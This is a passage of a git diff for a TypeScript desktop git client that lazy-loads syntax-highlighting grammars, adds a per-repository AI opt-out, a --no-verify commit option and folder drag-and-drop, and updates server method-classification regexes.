powershell from 'highlight.js/lib/languages/powershell'; -import protobuf from 'highlight.js/lib/languages/protobuf'; -import python from 'highlight.js/lib/languages/python'; -import r from 'highlight.js/lib/languages/r'; -import ruby from 'highlight.js/lib/languages/ruby'; -import rust from 'highlight.js/lib/languages/rust'; -import scala from 'highlight.js/lib/languages/scala'; -import scss from 'highlight.js/lib/languages/scss'; -import sql from 'highlight.js/lib/languages/sql'; -import swift from 'highlight.js/lib/languages/swift'; -import typescript from 'highlight.js/lib/languages/typescript'; -import vbnet from 'highlight.js/lib/languages/vbnet'; -import xml from 'highlight.js/lib/languages/xml'; -import yaml from 'highlight.js/lib/languages/yaml'; +import { useEffect, useSyncExternalStore } from 'react'; -const LANGUAGES: Record[1]> = { - bash, c, clojure, cmake, cpp, csharp, css, dart, diff, dockerfile, dos, elixir, erlang, fortran, go, graphql, groovy, haskell, ini, java, javascript, json, julia, kotlin, less, lua, makefile, markdown, nginx, objectivec, perl, php, plaintext, powershell, protobuf, python, r, ruby, rust, scala, scss, sql, swift, typescript, vbnet, xml, yaml, +/** Grammars load on demand (one small chunk each), so the main bundle carries none of them. Keys are the language ids from `languageForPath` (src/shared/util.ts). */ +const LANGUAGES: Record Promise<{ default: Parameters[1] }>> = { + bash: () => import('highlight.js/lib/languages/bash'), + c: () => import('highlight.js/lib/languages/c'), + clojure: () => import('highlight.js/lib/languages/clojure'), + cmake: () => import('highlight.js/lib/languages/cmake'), + cpp: () => import('highlight.js/lib/languages/cpp'), + csharp: () => import('highlight.js/lib/languages/csharp'), + css: () => import('highlight.js/lib/languages/css'), + dart: () => import('highlight.js/lib/languages/dart'), + diff: () => import('highlight.js/lib/languages/diff'), + dockerfile: () => import('highlight.js/lib/languages/dockerfile'), + dos: () => import('highlight.js/lib/languages/dos'), + elixir: () => import('highlight.js/lib/languages/elixir'), + erlang: () => import('highlight.js/lib/languages/erlang'), + fortran: () => import('highlight.js/lib/languages/fortran'), + go: () => import('highlight.js/lib/languages/go'), + graphql: () => import('highlight.js/lib/languages/graphql'), + groovy: () => import('highlight.js/lib/languages/groovy'), + haskell: () => import('highlight.js/lib/languages/haskell'), + ini: () => import('highlight.js/lib/languages/ini'), + java: () => import('highlight.js/lib/languages/java'), + javascript: () => import('highlight.js/lib/languages/javascript'), + json: () => import('highlight.js/lib/languages/json'), + julia: () => import('highlight.js/lib/languages/julia'), + kotlin: () => import('highlight.js/lib/languages/kotlin'), + less: () => import('highlight.js/lib/languages/less'), + lua: () => import('highlight.js/lib/languages/lua'), + makefile: () => import('highlight.js/lib/languages/makefile'), + markdown: () => import('highlight.js/lib/languages/markdown'), + nginx: () => import('highlight.js/lib/languages/nginx'), + objectivec: () => import('highlight.js/lib/languages/objectivec'), + perl: () => import('highlight.js/lib/languages/perl'), + php: () => import('highlight.js/lib/languages/php'), + powershell: () => import('highlight.js/lib/languages/powershell'), + protobuf: () => import('highlight.js/lib/languages/protobuf'), + python: () => import('highlight.js/lib/languages/python'), + r: () => import('highlight.js/lib/languages/r'), + ruby: () => import('highlight.js/lib/languages/ruby'), + rust: () => import('highlight.js/lib/languages/rust'), + scala: () => import('highlight.js/lib/languages/scala'), + scss: () => import('highlight.js/lib/languages/scss'), + sql: () => import('highlight.js/lib/languages/sql'), + swift: () => import('highlight.js/lib/languages/swift'), + typescript: () => import('highlight.js/lib/languages/typescript'), + vbnet: () => import('highlight.js/lib/languages/vbnet'), + xml: () => import('highlight.js/lib/languages/xml'), + yaml: () => import('highlight.js/lib/languages/yaml'), }; -for (const [name, def] of Object.entries(LANGUAGES)) hljs.registerLanguage(name, def); hljs.configure({ ignoreUnescapedHTML: true }); +const loading = new Set(); +const listeners = new Set<() => void>(); +let loadedCount = 0; + +/** Starts loading `language`'s grammar once; subscribers (see `useLanguageLoaded`) are notified when it is registered. */ +function loadLanguage(language: string): void { + if (loading.has(language) || hljs.getLanguage(language)) return; + loading.add(language); + void LANGUAGES[language]() + .then((m) => { + hljs.registerLanguage(language, m.default); + loadedCount++; + for (const l of listeners) l(); + }) + .catch(() => undefined); // chunk failed to load: the diff simply stays plain text +} + +/** True once `language`'s grammar is available; loads it on first use and re-renders the caller when it arrives. Diffs show plain text until then. */ +export function useLanguageLoaded(language: string | null): boolean { + useEffect(() => { + if (isHighlightable(language)) loadLanguage(language); + }, [language]); + useSyncExternalStore( + (cb) => { + listeners.add(cb); + return () => listeners.delete(cb); + }, + () => loadedCount, + ); + return language !== null && hljs.getLanguage(language) !== undefined; +} + const MAX_HIGHLIGHT_CHARS = 1_200_000; export function isHighlightable(language: string | null): language is string { - return language !== null && language !== 'plaintext' && hljs.getLanguage(language) !== undefined; + return language !== null && Object.hasOwn(LANGUAGES, language); } /** @@ -98,7 +129,7 @@ export function splitHighlightedHtml(html: string): string[] { /** Returns per-line HTML for `code`, or null when highlighting is not possible. */ export function highlightToLines(code: string, language: string | null): string[] | null { - if (!isHighlightable(language)) return null; + if (!isHighlightable(language) || !hljs.getLanguage(language)) return null; if (code.length > MAX_HIGHLIGHT_CHARS) return null; try { const normalized = code.replace(/\r\n?/g, '\n'); @@ -125,6 +156,7 @@ const HIGHLIGHT_MAX_LINE_CHARS = 5000; /** HTML for 1-based `lineNo` of `lines`, highlighting (and caching under `cacheKey`) its block on first use. */ export function highlightBlockLine(cache: Map, cacheKey: string, lines: string[], lineNo: number, language: string | null): string | undefined { if (lineNo < 1 || lineNo > lines.length) return undefined; + if (isHighlightable(language) && !hljs.getLanguage(language)) return undefined; // grammar still loading: plain text for now, and not cached (see useLanguageLoaded) const block = Math.floor((lineNo - 1) / HIGHLIGHT_BLOCK_LINES); const key = `${cacheKey}:${block}`; let html = cache.get(key); @@ -137,13 +169,3 @@ export function highlightBlockLine(cache: Map, cacheKey } return html ? html[(lineNo - 1) % HIGHLIGHT_BLOCK_LINES] : undefined; } - -/** Highlight a single line in isolation (fallback when full content is unavailable). */ -export function highlightLine(text: string, language: string | null): string | null { - if (!isHighlightable(language)) return null; - try { - return hljs.highlight(text, { language, ignoreIllegals: true }).value; - } catch { - return null; - } -} diff --git a/src/renderer/src/lib/lazy.ts b/src/renderer/src/lib/lazy.ts new file mode 100644 index 0000000..23356bc --- /dev/null +++ b/src/renderer/src/lib/lazy.ts @@ -0,0 +1,6 @@ +import { lazy, type ComponentType, type LazyExoticComponent } from 'react'; + +/** `React.lazy` for a named export, so heavy views and dialogs load as separate chunks on first use. Props are inferred from the module's export. */ +export function lazyExport, K extends keyof M & string>(load: () => Promise, name: K): LazyExoticComponent ? M[K] : never> { + return lazy(() => load().then((m) => ({ default: m[name] }))); +} diff --git a/src/renderer/src/state/actions.ts b/src/renderer/src/state/actions.ts index 972d6be..eaec123 100644 --- a/src/renderer/src/state/actions.ts +++ b/src/renderer/src/state/actions.ts @@ -1,11 +1,12 @@ import type { AddWorktreeOptions, BlameHunk, BlameResult, Branch, BranchDeleteResult, Commit, CommitOptions, ErrorFix, ExplainSource, ExplainTarget, FileDiff, GitErrorInfo, HistoryQuery, PrTriage, PullRequest, RepoWork, RepositoryInfo, RepositoryScanResult, RepositoryStatus, Stash, StaleBranch, TriageState, UncommittedChangesStrategy, WorkingFile, ConflictResolutionResult, AppSettings, UpdateState, Worktree } from '@shared/types'; +import { aiEnabled } from '@shared/ai-model'; import { EMPTY_HISTORY_QUERY, EXPLAIN_FOLLOWUP_LIMIT, ZERO_SHA } from '@shared/types'; import type { OperationOutcome } from '@shared/ipc'; import { buildFileViewDiff } from '@shared/diff/parse'; import { buildStagePatch } from '@shared/diff/patch'; import { checkRegexBrackets, explanationToMarkdown, extractWorktreePathFromError, formatHistoryQuery, isEmptyHistoryQuery, issueBranchSlug, parseHistoryQuery } from '@shared/util'; import { ApiError, errorInfo, errorMessage, invoke, on } from '../api'; -import { closeAllDialogs, closeDialog, initialChanges, initialDiff, initialErrorExplain, initialExplain, initialHistory, initialNlPalette, initialPrecommitReview, initialReview, initialStashesView, initialTriage, NO_CONFLICT_EXAMPLES, openDialog, patchChanges, patchDiff, patchErrorExplain, patchExplain, patchHistory, patchNlPalette, patchStashesView, patchTriage, saveExplainPanelWidth, showToast, store, type DialogState, type View } from './store'; +import { closeAllDialogs, closeDialog, initialChanges, initialDiff, initialErrorExplain, initialExplain, initialHistory, initialNlPalette, initialPrecommitReview, initialReview, initialStashesView, initialTriage, NO_CONFLICT_EXAMPLES, openDialog, patchChanges, patchDiff, patchErrorExplain, patchExplain, patchHistory, patchNlPalette, patchStashesView, patchTriage, saveExplainPanelWidth, showToast, store, type ChangesState, type DialogState, type View } from './store'; import { handleReviewProgress, reviewBranch, reviewCurrentPullRequest } from './review'; import { handlePrecommitReviewProgress, refreshPrecommitStaleness, runPrecommitReviewForGate, syncPrecommitReviewSelection } from './precommitReview'; import { handleRebaseProgress, tidyBranch } from './rebase'; @@ -73,7 +74,9 @@ export async function bootstrap(): Promise { }); on('repos.changed', (list) => { const current = store.get().currentRepo; - store.set({ repos: list, currentRepo: current ? list.find((r) => r.id === current.id) ?? current : null }); + // `aiConfigOff` comes from the repository's config file via `repo.open`, not from the list, so carry it over. + const fresh = current ? list.find((r) => r.id === current.id) : undefined; + store.set({ repos: list, currentRepo: current ? (fresh ? { ...fresh, aiConfigOff: current.aiConfigOff } : current) : null }); }); on('progress', (p) => { store.set((s) => { @@ -90,6 +93,7 @@ export async function bootstrap(): Promise { }); on('menu.action', ({ action, args }) => { if (action === 'protocol-open') void handleProtocolOpen(args as { url: string; branch: string | null; filepath: string | null }); + else if (action === 'open-path') void openFolderAsRepository(args as { path: string }); else if (action === 'protocol-review-rerun') void handleProtocolReviewRerun(args as { repoPath: string; token: string | null }); else void handleMenuAction(action, args); }); @@ -321,7 +325,7 @@ export async function openRepository(repo: RepositoryInfo): Promise { document.title = `${repo.alias ?? repo.name} — GitGood`; try { const opened = await invoke('repo.open', repo.path); - store.set((s) => ({ currentRepo: { ...(s.currentRepo ?? opened), github: opened.github }, repos: s.repos.map((r) => (r.id === opened.id ? { ...r, github: opened.github, lastOpened: Date.now() } : r)) })); + store.set((s) => ({ currentRepo: { ...(s.currentRepo ?? opened), github: opened.github, aiConfigOff: opened.aiConfigOff }, repos: s.repos.map((r) => (r.id === opened.id ? { ...r, github: opened.github, lastOpened: Date.now() } : r)) })); } catch (err) { showError('Could not open repository', err); return; @@ -341,6 +345,12 @@ export async function addLocalRepository(path: string): Promise { } } +/** Opens a folder dropped on the window or passed on the command line: a repository is added and opened; anything else goes to the Add dialog, which explains the problem and offers to create a repository. */ +export async function openFolderAsRepository({ path }: { path: string }): Promise { + if (await invoke('app.isRepository', path).catch(() => false)) await addLocalRepository(path); + else openDialog({ kind: 'add-repo', path }); +} + /** One sentence for a finished watched-folder scan, for the toast and the Options summary. */ export function describeScanResult(result: RepositoryScanResult): string { if (result.alreadyRunning) return 'A scan is already running.'; @@ -1231,7 +1241,7 @@ export function includedFiles(): WorkingFile[] { export async function commit(): Promise { const s = store.get(); - const gateOn = s.settings?.ai.reviewBeforeCommit && s.settings.ai.provider !== 'disabled' && !s.changes.committing; + const gateOn = s.settings?.ai.reviewBeforeCommit && aiEnabled(s.settings, s.currentRepo) && !s.changes.committing; if (gateOn) { const run = await runPrecommitReviewForGate(); const live = run ? run.findings.filter((f) => !f.dismissed) : []; @@ -1272,9 +1282,11 @@ async function performCommit(signOverride: 'default' | 'unsigned'): Promise (f.oldPath ? [f.path, f.oldPath] : [f.path])), partialPatches, signOverride, + signoff: repo.signoff, + noVerify: s.changes.noVerify, }; const sha = await invoke('git.commit', repo.path, opts); - patchChanges({ summary: '', description: '', amend: false, committing: false, partial: {}, excluded: [] }); + patchChanges({ summary: '', description: '', amend: false, committing: false, noVerify: false, partial: {}, excluded: [] }); patchDiff({ selectedLines: null }); showToast({ kind: 'success', title: s.changes.amend ? 'Commit amended' : `Committed ${sha.slice(0, 7)}`, message: summary || undefined, action: s.changes.amend ? undefined : { label: 'Undo', onClick: () => void undoCommit() } }); await refreshAll(); @@ -1317,6 +1329,34 @@ export async function undoCommit(): Promise { } } +/** Prefills an empty, non-amend commit form from `commit.template`; never overwrites anything the user (or an AI draft) already typed, and skips merges (git ignores the template there). */ +export async function prefillCommitTemplate(): Promise { + const repo = store.get().currentRepo; + const empty = (c: ChangesState) => !c.amend && !c.summary && !c.description; + const idle = () => empty(store.get().changes) && store.get().status?.operation.kind === 'none'; + if (!repo || !idle()) return; + const template = await invoke('repo.commitTemplate', repo.path).catch(() => null); + if (template && store.get().currentRepo?.path === repo.path && idle()) patchChanges({ summary: template.summary, description: template.description }); +} + +/** Machine-local per-repository prefs: pin, custom group, commit sign-off. */ +export async function setRepoPrefs(repo: RepositoryInfo, prefs: Pick): Promise { + try { + await invoke('repos.setPrefs', repo.id, prefs); + } catch (err) { + showError('Could not save repository settings', err); + } +} + +/** Machine-local "Disable AI for this repository" toggle; the list refreshes through `repos.changed`. */ +export async function setRepoAiDisabled(repo: RepositoryInfo, disabled: boolean): Promise { + try { + await invoke('repos.setAiDisabled', repo.id, disabled); + } catch (err) { + showError('Could not save repository settings', err); + } +} + export async function setAmend(amend: boolean): Promise { const repo = store.get().currentRepo; if (!repo) return; @@ -1341,6 +1381,7 @@ export async function generateCommitMessage(): Promise { try { const msg = await invoke('ai.commitMessage', repo.path, files.map((f) => f.path)); patchChanges({ summary: msg.summary, description: msg.description }); + if (msg.skipped.length) showToast({ kind: 'info', title: 'Left out of the AI request', message: msg.skipped.join('\n') }, 8000); } catch (err) { showError('Could not generate a commit message', err); } finally { @@ -2331,7 +2372,7 @@ export async function loadPullRequests(force = false): Promise { store.set((st) => ({ prs: { ...st.prs, list, loading: false, loadedAt: Date.now() } })); await loadTriageCache(); const settings = store.get().settings; - if (settings && settings.ai.provider !== 'disabled' && settings.ai.triageAutoRefresh) void summarizePullRequests(); + if (aiEnabled(settings, store.get().currentRepo) && settings?.ai.triageAutoRefresh) void summarizePullRequests(); } catch (err) { const info = errorInfo(err); store.set((st) => ({ prs: { ...st.prs, loading: false, error: info.message } })); @@ -2400,7 +2441,7 @@ export async function summarizePullRequests(): Promise { } export function cancelTriage(): void { - void invoke('ai.cancel'); + void invoke('ai.cancel', 'triage'); } export async function loadCurrentPullRequest(force = false): Promise { @@ -2595,6 +2636,28 @@ export async function openInShell(): Promise { } } +export async function openDiffTool(path: string, source: { kind: 'working' } | { kind: 'commit'; sha: string }): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('app.openDiffTool', repo.path, path, source); + } catch (err) { + showToast({ kind: 'error', title: 'Could not open diff tool', message: errorMessage(err) }); + } +} + +/** The merge tool refreshes repo state itself when it exits (main sends `repo.changed`). */ +export async function openMergeTool(path: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('app.openMergeTool', repo.path, path); + showToast({ kind: 'info', title: 'Merge tool started', message: 'Save and close it to pick up the result.' }); + } catch (err) { + showToast({ kind: 'error', title: 'Could not open merge tool', message: errorMessage(err) }); + } +} + export async function showInFolder(filePath: string | null = null): Promise { const repo = store.get().currentRepo; if (!repo) return; @@ -3034,9 +3097,9 @@ export async function handleMenuAction(action: string, args?: unknown): Promise< // AI diff explanation // --------------------------------------------------------------------------- -/** True when the AI provider is enabled; entry points across the app are hidden (not disabled) when it is not. */ +/** True when the AI provider is enabled and the current repository has not opted out; entry points across the app are hidden (not disabled) when it is not. */ export function aiExplainAvailable(): boolean { - return (store.get().settings?.ai.provider ?? 'disabled') !== 'disabled'; + return aiEnabled(store.get().settings, store.get().currentRepo); } /** Source (commit/working tree/stash) implied by the tab currently showing a diff, or null when explaining is not meaningful there (e.g. the AI review view). */ @@ -3105,7 +3168,7 @@ export function retryExplain(): void { } export function cancelExplain(): void { - void invoke('ai.cancel'); + void invoke('ai.cancel', 'explain'); patchExplain({ loading: false, followUpLoading: false }); } @@ -3185,7 +3248,7 @@ export async function requestErrorExplanation(error: GitErrorInfo, retryable: bo } export function cancelErrorExplanation(): void { - void invoke('ai.cancel'); + void invoke('ai.cancel', 'errorExplain'); patchErrorExplain({ loading: false }); } diff --git a/src/renderer/src/state/agentHandoff.ts b/src/renderer/src/state/agentHandoff.ts index 1226d02..fa7c283 100644 --- a/src/renderer/src/state/agentHandoff.ts +++ b/src/renderer/src/state/agentHandoff.ts @@ -1,3 +1,4 @@ +import { aiEnabled } from '@shared/ai-model'; import type { ReviewRun } from '@shared/types'; import { AGENT_PRESETS } from '@shared/agent-presets'; import { pathsEqual } from '@shared/util'; @@ -15,7 +16,7 @@ import { openDialog, showToast, store } from './store'; /** Whether the Fix with agent action should be shown for this run: provider on and at least one live finding. */ export function agentHandoffAvailable(run: ReviewRun | null): boolean { const s = store.get(); - return !!run && !!s.currentRepo && s.settings?.ai.provider !== 'disabled' && run.findings.some((f) => !f.dismissed); + return !!run && !!s.currentRepo && aiEnabled(s.settings, s.currentRepo) && run.findings.some((f) => !f.dismissed); } function agentLabel(): string { @@ -95,7 +96,7 @@ export async function handleProtocolReviewRerun(args: { repoPath: string; token? showToast({ kind: 'info', title: 'Re-review requested for a repository that is not open in GitGood', message: args.repoPath }); return; } - if (!s.settings || s.settings.ai.provider === 'disabled') { + if (!aiEnabled(s.settings, s.currentRepo)) { showToast({ kind: 'info', title: 'AI features are turned off', message: 'Enable a provider under Options → AI to re-review.', action: { label: 'Options', onClick: () => openDialog({ kind: 'settings', tab: 'ai' }) } }); return; } @@ -148,7 +149,7 @@ export async function handleProtocolReviewRerun(args: { repoPath: string; token? message: [ 'A link from outside GitGood asked for a re-review and did not carry a valid token, so nothing has been sent yet.', `Repository: ${match.path}`, - `Files that would be sent to ${s.settings.ai.provider}:\n${files.slice(0, 15).join('\n')}${files.length > 15 ? `\n… and ${files.length - 15} more` : ''}`, + `Files that would be sent to ${s.settings?.ai.provider}:\n${files.slice(0, 15).join('\n')}${files.length > 15 ? `\n… and ${files.length - 15} more` : ''}`, ].join('\n\n'), confirmLabel: 'Re-review', onConfirm: () => reviewChangesBeforeCommit(), diff --git a/src/renderer/src/state/nlPalette.ts b/src/renderer/src/state/nlPalette.ts index 91a1503..f6d649b 100644 --- a/src/renderer/src/state/nlPalette.ts +++ b/src/renderer/src/state/nlPalette.ts @@ -69,7 +69,7 @@ export async function answerPaletteQuestion(): Promise { } export function cancelPaletteRequest(): void { - void invoke('ai.cancel'); + void invoke('ai.cancel', 'nlPalette'); patchNlPalette({ loading: false }); } diff --git a/src/renderer/src/state/precommitReview.ts b/src/renderer/src/state/precommitReview.ts index 1488cc2..d71a09d 100644 --- a/src/renderer/src/state/precommitReview.ts +++ b/src/renderer/src/state/precommitReview.ts @@ -1,3 +1,4 @@ +import { aiEnabled } from '@shared/ai-model'; import type { ReviewFinding, WorktreeReviewOptions } from '@shared/types'; import { buildStagePatch } from '@shared/diff/patch'; import { isImagePath } from '@shared/util'; @@ -13,7 +14,7 @@ import { initialPrecommitReview, openDialog, patchPrecommitReview, showToast, st export function precommitReviewAvailable(): boolean { const s = store.get(); - return !!s.currentRepo && s.settings?.ai.provider !== 'disabled'; + return !!s.currentRepo && aiEnabled(s.settings, s.currentRepo); } const LOCKFILE_NAMES = new Set(['package-lock.json', 'yarn.lock', 'pnpm-lock.yaml', 'cargo.lock', 'go.sum', 'composer.lock']); @@ -113,7 +114,7 @@ export async function rereviewStalePrecommitFindings(): Promise { } export function cancelPrecommitReview(): void { - void invoke('ai.cancel').catch(() => undefined); + void invoke('ai.cancel', 'review').catch(() => undefined); } export function togglePrecommitReviewStrip(): void { diff --git a/src/renderer/src/state/rebase.ts b/src/renderer/src/state/rebase.ts index 9b88ae7..a36f6e4 100644 --- a/src/renderer/src/state/rebase.ts +++ b/src/renderer/src/state/rebase.ts @@ -1,3 +1,4 @@ +import { aiEnabled } from '@shared/ai-model'; import type { RebaseApplyProgress, RebasePlan, RebasePlanAction, RebasePlanRow } from '@shared/types'; import { errorMessage, invoke } from '../api'; import { hasUncommittedChanges, refreshAll, refreshStatus, showError } from './actions'; @@ -12,7 +13,7 @@ const UNDO_WINDOW_MS = 10 * 60 * 1000; /** Hidden (not just disabled) when the AI provider is disabled, per spec. */ export function tidyBranchVisible(): boolean { const s = store.get(); - return !!s.currentRepo && s.settings?.ai.provider !== 'disabled'; + return !!s.currentRepo && aiEnabled(s.settings, s.currentRepo); } /** Reason the action is not actionable right now (default branch, or a merge commit in a History multi-selection), or null when it can proceed. Full-range merge-commit detection is deferred to the pre-flight, since the whole "ahead of base" range is not necessarily loaded client-side. */ @@ -143,7 +144,7 @@ export function reproposeRebasePlan(): void { } export function cancelRebasePropose(): void { - void invoke('ai.cancel').catch(() => undefined); + void invoke('ai.cancel', 'rebase').catch(() => undefined); } export function closeRebaseDialog(): void { diff --git a/src/renderer/src/state/review.ts b/src/renderer/src/state/review.ts index f37e89b..c9b799f 100644 --- a/src/renderer/src/state/review.ts +++ b/src/renderer/src/state/review.ts @@ -1,3 +1,4 @@ +import { aiEnabled } from '@shared/ai-model'; import type { PostReviewOptions, PullRequest, ReviewFinding, ReviewStartOptions, ReviewTarget } from '@shared/types'; import { errorMessage, invoke } from '../api'; import { loadDiff, showError } from './actions'; @@ -9,7 +10,7 @@ import { closeDialog, initialReview, openDialog, patchReview, showToast, store, export function aiReviewAvailable(): boolean { const s = store.get(); - return !!s.currentRepo && s.settings?.ai.provider !== 'disabled'; + return !!s.currentRepo && aiEnabled(s.settings, s.currentRepo); } /** True when the repository has a GitHub remote and gh is signed in, so pull request mode is possible. */ @@ -103,7 +104,7 @@ export async function startReview(target: ReviewTarget, opts: ReviewStartOptions export async function cancelReview(): Promise { try { - await invoke('ai.cancel'); + await invoke('ai.cancel', 'review'); } catch { /* nothing running */ } diff --git a/src/renderer/src/state/split.ts b/src/renderer/src/state/split.ts index 9d8a0fa..d2ba2a9 100644 --- a/src/renderer/src/state/split.ts +++ b/src/renderer/src/state/split.ts @@ -1,3 +1,4 @@ +import { aiEnabled } from '@shared/ai-model'; import type { SplitApplyProgress, SplitPlan, SplitPlanCommit } from '@shared/types'; import { SPLIT_SUMMARY_PLACEHOLDER } from '@shared/util'; import { errorInfo, errorMessage, invoke } from '../api'; @@ -15,7 +16,7 @@ type SplitTarget = string | typeof UNASSIGNED; /** Hidden unless the provider is enabled, a repository is open, no merge/cherry-pick/revert is in progress, and Amend is not checked (per spec: these three conditions hide the entry point entirely rather than merely disabling it). */ export function splitEntryVisible(): boolean { const s = store.get(); - return !!s.currentRepo && s.settings?.ai.provider !== 'disabled' && s.status?.operation.kind !== 'merge' && s.status?.operation.kind !== 'cherry-pick' && s.status?.operation.kind !== 'revert' && !s.changes.amend; + return !!s.currentRepo && aiEnabled(s.settings, s.currentRepo) && s.status?.operation.kind !== 'merge' && s.status?.operation.kind !== 'cherry-pick' && s.status?.operation.kind !== 'revert' && !s.changes.amend; } /** @@ -75,7 +76,7 @@ export function reproposeSplit(): void { } export function cancelSplitPropose(): void { - void invoke('ai.cancel').catch(() => undefined); + void invoke('ai.cancel', 'split').catch(() => undefined); } export function closeSplitDialog(): void { diff --git a/src/renderer/src/state/store.ts b/src/renderer/src/state/store.ts index 8a67256..6b85bda 100644 --- a/src/renderer/src/state/store.ts +++ b/src/renderer/src/state/store.ts @@ -1,5 +1,6 @@ import { useSyncExternalStore } from 'react'; import type { AiResolveProgressEvent, AiReviewProgressEvent, AppSettings, BlameResult, Branch, Commit, CommitDetails, CommitFile, ConflictResolutionResult, ErrorExplanation, ExplainFollowUp, ExplainTarget, Explanation, FileDiff, GitErrorInfo, HistoryQuery, InboxState, LfsStatus, NlPlan, NlStep, PathHistoryEntry, PostResolveCheckResult, PrTriage, ProgressEvent, PullRequest, RebaseApplyProgress, RebasePlan, RebasePreflight, Remote, RepositoryInfo, RepositoryStatus, RepoWork, ReviewPlan, ReviewRun, ReviewRunTarget, ReviewTarget, SplitApplyProgress, SplitPlan, SplitPreflight, Stash, StaleBranch, Submodule, Tag, ToolsState, UpdateState, WorktreeReviewTarget, Worktree } from '@shared/types'; +import { aiEnabled } from '@shared/ai-model'; import { EMPTY_HISTORY_QUERY } from '@shared/types'; /** A `ReviewRun` known to target a pull request or a branch (never the pre-commit `worktree` target), which is all `ai.review.start`/`ai.review.get` for a `ReviewTarget` ever produce. */ @@ -27,7 +28,7 @@ export interface Toast { export type DialogState = | { kind: 'clone'; url?: string } | { kind: 'new-repo' } - | { kind: 'add-repo' } + | { kind: 'add-repo'; path?: string } | { kind: 'new-branch'; startPoint?: string | null; startPointLabel?: string; initialName?: string } | { kind: 'rename-branch'; branch: string } | { kind: 'delete-branch'; branch: Branch } @@ -93,6 +94,8 @@ export interface ChangesState { showCoAuthors: boolean; amend: boolean; committing: boolean; + /** One-shot `--no-verify` for the next commit; reset after every commit. */ + noVerify: boolean; } export interface StashesViewState { @@ -488,6 +491,7 @@ export const initialChanges: ChangesState = { showCoAuthors: false, amend: false, committing: false, + noVerify: false, }; export const initialStashesView: StashesViewState = { loading: false, selectedSha: null, files: [], filesLoading: false, selectedFile: null }; @@ -592,6 +596,11 @@ export function useAppStore(selector: (s: AppState) => R): R { return useSyncExternalStore(store.subscribe, () => selector(store.get()), () => selector(store.get())); } +/** Whether AI actions should be offered: a provider is on and the current repository has not opted out. Non-reactive callers use `aiEnabled(store.get().settings, store.get().currentRepo)`. */ +export function useAiEnabled(): boolean { + return useAppStore((s) => aiEnabled(s.settings, s.currentRepo)); +} + export function patchChanges(patch: Partial | ((c: ChangesState) => Partial)): void { store.set((s) => ({ changes: { ...s.changes, ...(typeof patch === 'function' ? patch(s.changes) : patch) } })); } diff --git a/src/renderer/src/styles/layout.css b/src/renderer/src/styles/layout.css index d629ad3..1f736af 100644 --- a/src/renderer/src/styles/layout.css +++ b/src/renderer/src/styles/layout.css @@ -983,3 +983,31 @@ } } } + +/* Desktop drag-and-drop of folders onto the window (see components/DropZone.tsx). */ +.drop-overlay { + position: fixed; + inset: 0; + z-index: 400; + display: flex; + align-items: center; + justify-content: center; + background: color-mix(in srgb, var(--bg) 82%, transparent); + pointer-events: none; +} +.drop-overlay-card { + display: flex; + flex-direction: column; + align-items: center; + gap: 8px; + padding: 40px 56px; + border: 2px dashed var(--accent); + border-radius: 12px; + background: var(--bg-overlay); + color: var(--fg); + text-align: center; +} +.drop-overlay-card p { + margin: 0; + color: var(--fg-muted); +} diff --git a/src/server/index.ts b/src/server/index.ts index 92ffa7b..2e445d4 100644 --- a/src/server/index.ts +++ b/src/server/index.ts @@ -8,6 +8,7 @@ import { brotliCompress, brotliCompressSync, constants as zlibConstants, gzip, g import type { ApiMethodName } from '@shared/ipc'; import type { GitErrorInfo, InboxItem, IpcResult } from '@shared/types'; import { ConflictResolver } from '../main/ai/resolver'; +import { configureUsage } from '../main/ai/usage'; import { ErrorExplainService } from '../main/ai/error-explain'; import { ExplainService } from '../main/ai/explain'; import { NlPaletteService } from '../main/ai/nlPalette'; @@ -193,6 +194,7 @@ async function main(): Promise { const busy = new Set(); const repos = new RepositoryManager(store, git, bus.emit); + configureUsage(config.userData); const resolver = new ConflictResolver(store, tools, git); const review = new ReviewService(store, tools, git, gh, repos, config.userData); const splitter = new SplitterService(store, tools, git); diff --git a/src/server/limits.ts b/src/server/limits.ts index 0b472e0..7d111df 100644 --- a/src/server/limits.ts +++ b/src/server/limits.ts @@ -1,6 +1,6 @@ import { pathArgs } from './security'; -const MUTATING_LEAF = /^(apply|undo|create|clone|remove|delete|deleteRemote|deleteMany|merge|rebase|revert|squash|reorder|reword|drop|import|sync|publish|fork|run|pop|push|pull|stage|unstage|checkout|checkoutCommit|checkoutRemoteBranch|prune|gc|expire|install|track|set|setState|setIdentity|unsetLocalIdentity|setAlias|setLfsTracking|write|writeFile|add|insert|markResolved|useSide|useSideForBlock|unresolve|trustConfig|post|dismiss|applySuggestion|comment|review|ready|close|reopen|login|logout|setupGit|refreshScopes|cancelLogin|enable|disable|upload|download|setApiKey|moveToTrash|removeLockFile|resolve|resolveAll|resolveAllGuided|clearExamples|start|startWorktree)$/; +const MUTATING_LEAF = /^(apply|undo|create|clone|remove|delete|deleteRemote|deleteMany|merge|rebase|revert|squash|reorder|reword|drop|import|sync|publish|fork|run|pop|push|pull|stage|unstage|checkout|checkoutCommit|checkoutRemoteBranch|prune|gc|expire|install|track|set|setState|setIdentity|unsetLocalIdentity|setAlias|setPrefs|setLfsTracking|write|writeFile|add|insert|markResolved|useSide|useSideForBlock|unresolve|trustConfig|post|dismiss|applySuggestion|comment|review|ready|close|reopen|disableAutoMerge|login|logout|setupGit|refreshScopes|cancelLogin|enable|disable|upload|download|setApiKey|setOpenaiApiKey|setAiDisabled|moveToTrash|removeLockFile|resolve|resolveAll|resolveAllGuided|clearExamples|start|startWorktree)$/; /** Whether a method changes state (git ops, writes, AI applies). Matches on the leaf segment so `repo.commit.details` (a read) is not mistaken for `git.commit`. */ export function isMutating(method: string): boolean { diff --git a/src/server/security.ts b/src/server/security.ts index f1522ee..775495f 100644 --- a/src/server/security.ts +++ b/src/server/security.ts @@ -91,7 +91,7 @@ export function originOk(req: IncomingMessage): boolean { /** Methods under `repo.`/`git.`/`gh.`/`ai.` whose first argument is not a repository path. */ const NO_REPO_ARG = /^(gh\.(auth|repos|orgs|inbox)\.|gh\.(gitignoreTemplates|licenses|avatar)$|ai\.(cancel|test)$)/; /** Other methods whose first argument is a filesystem path. */ -const FIRST_ARG_PATH = /^(repos\.(add|watchedFolders\.add|isInWatchedFolder|exclusions\.remove)|app\.(showItemInFolder|openPath|pathExists|isRepository|moveToTrash|openInEditor|openInShell)|settings\.(exportToFile|previewImport|import))$/; +const FIRST_ARG_PATH = 